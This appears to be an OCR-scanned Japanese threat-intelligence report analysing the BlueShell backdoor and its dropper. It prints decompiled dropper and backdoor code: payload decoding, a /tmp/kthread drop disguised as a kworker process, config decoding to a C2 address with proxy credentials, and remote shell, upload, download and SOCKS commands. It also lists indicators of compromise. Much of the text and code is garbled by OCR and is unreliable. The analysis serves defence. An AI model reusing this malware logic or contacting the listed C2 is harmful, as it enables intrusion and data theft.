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FOwsy—

WEH(ISSHEDOFERTHERERLIZRRA MINOY/N—4A8E. FITLET. BRAT28E
¢). K OwsX—(IBlueShellEfE A E1T9 5121T T . sEEBRDTIARAAXRT > F 7 #
Loy CRIET DEEHRLTUWWET.

KOv/N—AETaNde. $3EHE0 .data 22> 3 28 N B0x21E3BA/NA DT
— X 5XOR7TI—F (§&: 0x63) L £9.

MwUnlinka&ndRemove((  ints4)"/tmp/kthread™);
ptr¥crEncededPayleoad = (unsigned _ int8 *)MwAllocateMemory(@x65AB2E);
ptriecompressedPayload = (unsigned _ intd *)MwAllocateMemory (@xAI72A2Y%;
MuwMemcpy ((int *)ptriXorEncoededPayload, g XorEncodedPayload, @x21E3BAu);
for { 7 = 8; 7 <« Gx21E3BA; ++7 )

ptri¥orEncodedPayload[j] ~= @x63u;

[ I R LN R L )

(93 [ S NY R R S

XORFO— FENDT—XR(FFastLZA{FRAL TEMEEINTHY . FOYN— (I DT—X %
BRLT. ¥NA& 7 71JL /tmp/kthread (ZE2XAAFT. ZZTEREINZ 771l
/tmp/kthread (ZBlueShell&EENEITT 71 IILTT .

OCffset(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD QOE OF Decoded text

00000000 7F 45 4C 46 02 01 01 00 00 00 00 OO0 00 00 00 00 LELF.v:eeevnonnnas
00000010 02 00 3E 00 01 00 00 00 AO 40 46 00 00 00 00 00 W.2eeusn GF.....
00000020 40 00 00 00 00 0O 00 00 98 €8 39 00 00 00 00 00 @....... "h9.uues
00000030 00 00 00 00 40 00 38 00 OA 00 40 00O 1B 00 1A 00 ....@.8...@.....

<SNIP>

00001F70 00 00 00 OO0 00 OO0 OO0 QOO0 00 00 OO0 OO0 00 00 00 00 weeewnnscnnannna
Q00001F80 04 00 Q0 00 53 00 00 00 04 00 00 00 47 ©F 00 00 ....5.cccese Go..
00001F90 70 4E 79 ©F 39 51 35 4F 6B 36 59 €7 4D &7 57 30 pNyo9Q50keYgMgWO
0O0001FRO €8 €C 6F 428 2F 31 6D 52 4D 71 €6 57 €A 30 73 2D hloH/1mRMgfWjOs-
00001FBO 72 €3 43 72 T7A 33 6B 79 6C 2F 30 37 58 €4 78 71 rcCrz3kyl/07Xdxg
00001FCO 43 44 31 €2 4A 65 4C 728 79 53 54 SF 56 €7 2F €€ CDlbJelLxyST Vg/f
O0001FDO B 73 4D 32 46 70 56 &C &5 57 73 70 37 €3 77 eF ksM2FpVleWsp7cwo
00001FEQO 77 51 54 00 2F 6C 69 62 36 34 2F 6C 64 2D 6C 69 wQT./lib64/1d-1i
Q0001FFO ©E 75 78 2D 78 38 36 2D 36 34 2E 73 6F 2E 32 00 nux-x86-64.s0.2.

BAARIC. IRRE wtin (CFIENDXFINARRE L - LT, FOwv/X—(IBlueShellFFE
(/tmp/kthread) #F{TL 9. ZOKE. Ov> FZ 1 51¥ (argvl0]) (Z
[kworker/12:12] & \W\9) XFIAERET 5 Z & T. BlueShellFEfE 7' 0+t X A Linux — 3

DT —H—2E% L £,

7 MwChmod777((__inte4)"/tmp/kthread");
MwExecAndRemowe
(__ints4)"/tmp/kthread”,
(int)"[kworker/12:127",
{_ int64) "wtim=VItNUVIVTVFSU81aUkNxXV 1BV QweWDwI DU INNUVITTVFTTVFWVENQULFbQxc GEBdDFwYQFBNSQLIM=") ;

N R NT FT I FT]
= & W0 Cd

B (2. FIT1E(Z /tmp/kthread Z#HIGT 52 & T. 7 71> A5 L L(ZBlueShelldEFE 4 5%
WL HTRLTWET, FRICKOY/N—A2FTLERIE Tps AV FEFRITLE
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t). /proc/PID/exe DINBAMERLIZWTEHZ T, ZNHDMBITBEHNIEL < BEEL T
WBZ ehrbhht) 9.

;S file ./dropper
./dropper: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.18
, BuildID[shal1]=69729b220ee31948c0149c791e72abbdcO6dc491, stripped

:-5 ps aux | grep "\[kworker/12:12\]"

user 3362 0.0 0.0 1002768 5200 ? SL 08:19 0:00
1S readlink -f /proc/3302/exe
/tmp/kthread (deleted)
1% cat /proc/3302/environ | tr "\@' '\n' | grep wtim
=V1tNUVIVTVFSUB1aUkNXV1BDVVVVQwOWDWIDUINNUVITTVFTTVFWVONQULFbQxcGEBADFwWYQFONSQ1M=

tH. FAOw/X—(IBlueShellERNFEITE LEIRINT 7 7ML R T L LEICEKET 51
. ZNEFRELE L UMITT % Z & TBlueShelllfEH AF9 2 Z A TRETT. LA L%
Ao, REOHEEHFIZEWT L, RITRICHEBEA O v/ N—DFRIT7 71 IV 5HIRT %
SOMIMEEIERL TWET . ZDLIHILRHE. 77AIV AT LLEICHEET S KON
—5RE BT BHIEATEEBA. LT, VLT THENAEERL - SREERE AN
FLENTDRAIZIE. 77AILRTLOA—E L TRXE) 74202y 7 5KHT S
WEHDH) £T.

BlueShell®:f&E

BlueShel EREAEITEIND L. 9 FOVv/NX—(ZL > TERESNIZIRBEEH wtin ROXF
5% Base64T 1— K H LUXORFTI— K (§#: 0x63) L CEREEBRAAFL £ 7. :EBER

[EITAXFETXYSNI-FI & 7> TWT, BlueShel BFE(Z &/ NT X — &R & BY)Z/N—

2 (BIEICERTDEF) LT hoaFERLET.

config = bytearray(base6l.béldecode( ' V1tNUVIVTVFSUAL1aUKNXV1BDVVVVQweWDwIDULNNUYVITTVFTTVFWVENQULFbQxcGEBIDFwYQFENSQ1M="))
for i in range(len(config)):
config[i] "= @x63

print(config.decode())
48.216.210.91 Uu3 666 null 10.210.20.254 3128 test test 1 ©

3/9



42 w3l = os_Getenv("wtim", 4);

43 w32 = encoding_basesd  ptr_Encoding DecodeString(gword 795808, v3l._r8, v31l. _rl);
44 r@ = v3i2._ro;

45 rl1 = v32. rl;

46 vl = @;

47 w1l = @;

45 w2 = @

49  while ( 1 )

58 {

51 w26 = wil;

52 w3g = wid;

53 if ( rl <= v@ )

54 break;

55 w27 = vl

56 w33 = runtime_intstring(@, *({ _BYTE *)}{r2 + wv@) ™ 8x63u);
57 w34 = runtime_concatstring2(®, v3e, vie, v3i3._r@, vii._ril);
58 B o= w27+ 1;

59 vl = v34, rl;

e v2 = vi4. re;

61 cB o= w32, ri;

62 F1o= w32, rl;

63}

B4 w35 = os_hostname();

65 w35 = strings_Fields({v3B, v28);

7 1) <F JLIRT)BlueShell|

CTHFELRUVBEEY L TRR PEDTF v 7 HEEN D 1) |

RETE

MANDRR b & ERITIRIBORR &AL L WNIGE. BlueShelHBFE(FFEITAART L £

. SEERIL 7-BlueShellERETIE null & W) XFIIHWRESNTHY . KRR MEDOF T
v o HEEDEfE N TUE LTz,

125  configHostnameText = *{ DWORD **)}(configTextFields. r@& + 48LL});

126  configHostnamelength = *{_QWORD *){configTextFields._r® + S6LL);

127  if { configHostnamelength == 4 && *configHostnameText == '1lun’

123 || env_hostname. rl == configHostnamelength

129 8% (result = runtime_memequal(env_hostname._r@, configHostnameText), (_BYTE)result) )
130 {

131 if ( qword_796758 )

132 Iy

133 = flag__ptr_ FlagSet_Parse(

134 gword_7958ES,

135 gword 796758 + (((1 - qword_796768) »»> 63) & 6xl8),

136 gword_ 796758 - 1,

137 gword 796768 - 1);

138 main_start{v22); // Execute Malware Main Routine

139 }

148 runtime_panicsliceB(1, configHostnameText, @, w19, qword_796768);

141}

142 return result;
I, BREFRADES b & (ZC24 — /(T - BIEL 9. 7 2FILIRMDBlueShell &
RItk. C2H —/NIZEHESELY HMBELFAEL & L7zh'. AEIDBlueShellEh |3 4 FAAMD

TOF A =NEZBL T, C2H—/NIZEET B L ) ICREIN TV E L=,
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7@ if ( g ConfigUseProxyCredential == 1 )

71

72 w39 = vdG._ra;

73 credstring = runtime_concatstring3(

74 v35,

75 g_ConfigProxyAddressText,
76 g_ConfigProxyPortText,

77 ",

78 1,

g_ConfigProxyAddressLength,
g_ConfigProxyPortlength);
credslice = runtime_stringtoslicebyte(v34, credstring._r@, credstring._rl);
credEnc = encoding_base®&4_ ptr_Encoding EncodeToString(qword_7958D8, credSlice._r@, credSlice._rl, credSlice._r2);
a2 = @;
proxyCredential = ((retwval SCB24A (_ polang *)(__ ints4, _ inte4, _ inte4, QWORD *))}loc_463182)(
credEnc,
v3,
V2,
httpRegstring);

httpRegstring[a] "CONNECT ™;

W0 w0 00 0O 00 00 CODd OO0 Cd

d R ® W0 s 3 WA R & WD

httpReqstring[1] = 8;

httpReqstring[2] = v39;

httpReqstring[3] = v46._ri;
] httpReqstring[4] = ™ HTTP/L.1\r\nHost: ";
94 httpReqstring[5] = 17;
95 httpReqstring[6] = v39;
36 httpReqstring[7] = v46._ri;
a7 httpReqstring[8] = "\r\nProxy-Authorization: Basic "
a3 httpReqstring[9] = 29;
99 httpReq5tring[18] = proxyCredential._r@;
ae httpReqString[11] = proxyCredential. rlj;

. 2023FERARTICEBIAE M- BlueShellBFE(Z (3. 7'AF 4 —/ R TC2EEA1T ) #
BEEERINTUWEBA. SRIBAILIZVILY 2T 588, 2024FEICERAEINTWS
BlueShellEEfE T4, YUrZMBEN'REKIN TWA I AMEAL TWET., ZDZehb, K
BEIRENHEEIN LELNI-EE A H & (2, AEIHICBlueShellEfEAHR - L5k L T
WA TEREMA D 1) £ 97,

LU ZHING B & . C2H—/\HX.509:EBHE > Common Name 7 « —JL K (Z microsoft,
google, cloudflare, centos, ubuntu DWWTNHADIFIIAE ENDIHMERL T, FENT
WBIGEDHC2H —/NADEGAHATL 9. ZD& 9 2otBeld = 1) 2 FILRDBlueShell
ICTFELAW=SH., YL o 7HEEHRBICIEML 1M EX N E T,

if { strings_Count(*( _QWORD *){v38 + 378), *( _OQWORD *)(v38 + 384), "microsoft", 9) > 8 )
main_HandleClientConnection(r&, @);

if ( strings_Count(*( _QWORD *){v35 + 378), *( OQWORD *){v33 + 384), "google", B) > 8 )
main_HandleClientConnection(r@, 8);

if ( strings Count(*({ QWORD *)(v3& + 378), *( QWORD *)(v3& + 384), "cloudflare", 1@) > @
main_HandleClientConnecticn(r2, @);

if { strings Count(*{ QWORD *)}({v32 + 378}, *{ QWORD *)(v3E + 384), "centos", 6) > @8 )
main_HandleClientConnecticn{r2, 8);

if { strings_Count(*({ QWORD *){v328 + 376), *( _OQWORD *)({v33 + 384), "ubuntu™, B) > 8 )
main_HandleClientConnectieon(r&, @8);

RIZ. C2H—/NIZREER R M ZBAT A TOEREEEL £,

e SRR 4%

e A—H4

« UID

O—HJLIP7 KL X
BlueShellgE: 27 PID

5/9



o C2H—/NADELEAR

71) SFILERDBlueShell T, 0S4 (windows, linux 73 &) X5 T B 15T DT, Z 0tk
BEt BlueShellIBERENMMBENEERI- WAL 7.

R MEHRDIE(SE. BlueShelERE(FC2H—/\H 57> FAEREFEL TRITT 2/)L—74
HIZRAL £9. 2REERIL 7-BlueShelEFE(ZFERINTW-av> FZANTOEN) T

ER

awy  #1)FHIVERGBlueShell(Z

N4 HlFT5a7F4 anEA
x0 - TBEINIZWHR ) =T 9%, #1) >FILERD
BlueShell|Z(FFELZAW\O7 2 |,
x1 upload BERA M7 7A4ILET Yy 70— K9 %,
x2 download BERR ML T7 7ML AERDO— RT3,
X3 shell JE— > TILERITT .
x4 socks SOCKS57' 0% #X1T9 %,

AV FEEEBRTHRWEHEDIZHET DY T, YILT o THITEHEL TWDEEZ
SNFET. ItE. Go/Nx1F 1 IZE& F 5 pclntab (Program Counter Line Table) (ZB9%4 7y
ENDART—=ZHBELFEL TW A, AV FEAREINTWTIE,
main_GetInteractiveShell ¥ W\>7-BIM&H S OV FOMBEAHEAIRIREZIRBETL 7=,

if ( remoteCommandlLength >= 2 && *remoteCommandText == "@x" )
1

main_S5leep(al, remoteCommandText, remoteCommandLength);
ilse if { remoteCommandLength »= 2 && *remoteCommandText == "1x" )
¢ main_UploadFile(al, remoteCommandText, remoteCommandLengthl;
ilse if ( remoteCommandlLength »>= 2 && *remoteCommandText == "2x" )
¢ main_DownloadFile(al, remcteCommandText, remoteCommandLengthl;
ilse if { remoteCommandLength »= 2 && *remoteCommandText == "3x" )
! main_GetInteractiveshell({al);
ilse if ( remoteCommandlLength »>= 2 && *remoteCommandText == "4x" )
1

main_RunSccksSProxy(off _678ES58, al);

¥
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RE R

FRUZEY . FAv/N—=(CL > TRIREHNICBase64 T I— FELUXORT = F
ENTREEBRH RIS . BlueShelERE(Z ¢t NATI— KL TERL 7.

config = bytearray(baseﬁﬂ.bﬁﬂdecode('UltNUVJUTVFSUﬂ1aUkNXVlBDVVUVQWGWDWQDUlNNUUJTTUFTTVFWVﬂNQUlFthcGEBdDFwVQFGNSQ1M=‘3)
for i in range(len(config)):
config[i] "= @x63

print(config.decode())
48.216.210.91 Uu3 666 null 10.210.20.254 3128 test test 1 ©
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C2tf—/N 77 KL 48.216.210[.]191 Microsoft Corporation (AS8075)
A

C2tr—/NR— | 443 -

®=

2 1) — 7 666 C2H—/NE LUK L -RICBRITT %
TOFER

A N4 null null TR WEE, SRR NEDF v 7 IZERT
%

AR E D%y AN 10.210.20.254  HELABOTOF =N BB
7R X

ZOoFiH—/N 3128 SquidfnF 7 4 )L b K— + &S

R— b ES

JOFS =N test -

a—4

JOFH—/N test -

AV EVESEN

WASE DRy AN 1 1 MOiGE. 70OF 29— /NEHTC2H—/\[Z#H
FR7Z7 SRS

WARE DLy AN 0 1 DIFE. REBFRANDORAHERAFHRL T7O

ET7 oo FoH—NIZEST D

7/9



726, 2023FLARTIZERIA X M 7-BlueShellFFE &, [FEH% (ZIRIRZEX (Lgdt, wtim 73 &) RO
Baseb4T > J— F N/ FREBEHRESRL £ 94 SEBAIL fzBlueShellFEFEN & 9 (Z
XORI>O—RFa&NBL ) ICH >1=DIF2024FRE(ICEIR X M- FKIZPRY) £97. £,
2023FRARTIZEIA X - BlueShellEfE(L 7’0 F > — /&N L 1zC2BEIZXIS L TULVeH
1A, BREBEBRNIZZOF Y —NITBEET /NI XA —ZHAFEL FHATL .

1® 38 myexec("/tmp/.ICECache”, "/usr/shin/irgbalance --foreground”, "lgdt=MjayLjg3LjIyMy4xMjQgNDQzIDUgZS1sZWFybmluZw==");
| ® 30 return @;
1® 48 }
00000730 main:36 (40073D)
Python»baset4.bb4decode ( 'MjAyLIg3LjIyMy4:xMjOeNDQzIDUGZS1sTWFybmIuZw==")
b'282.57.223.124 443 5 e-learning’

=3 W Y Al

BEIZASECHRBHL 7zL7R— FNT. AFRTHUY L(F7-BlueShellFEfEAFEE & X 1 A 1FH
I BHAPTRETHUWLOLNI-ABEMA®H B Z A HEEINTWET. LHL., Fxid
BlackTech|Z & 2 BAERN4H4 5 2] ¢ L 1-APTIHE (2 UL T & BlueShellFEfE A LAl L T
WY, BEOVILY = T7HMEG L THRAIZI NG T TWD Z ehn. S ERHSVES
EWZABTL LI,

Appendix: loCs

7Z7AIV
SHA256 ZER

944b774d592f5e7fe2c34ac6c3abb2a77bfa96707c4f3¢c33ac77b8d54800244f apid
(BlueShelldE
i W RVVAN
—)

3228da011423853efd3d94ce3a28046b5ca19e921861ea5aee2700bc90fc1d55 /tmp/kthread
(BlueShelldE
&)

Yy bI—7

48.216.210[.]91:443

1. BlueShell Backdoor: Cross-Platform Malware in Go — Hunt.io
https://hunt.io/malware-families/blueshell-backdoor €
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https://github.com/ariya/FastLZ
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6. ARENTOLR(FFOY/N— (HEF v+ R—2)ICL->TE LS. BEOHKET
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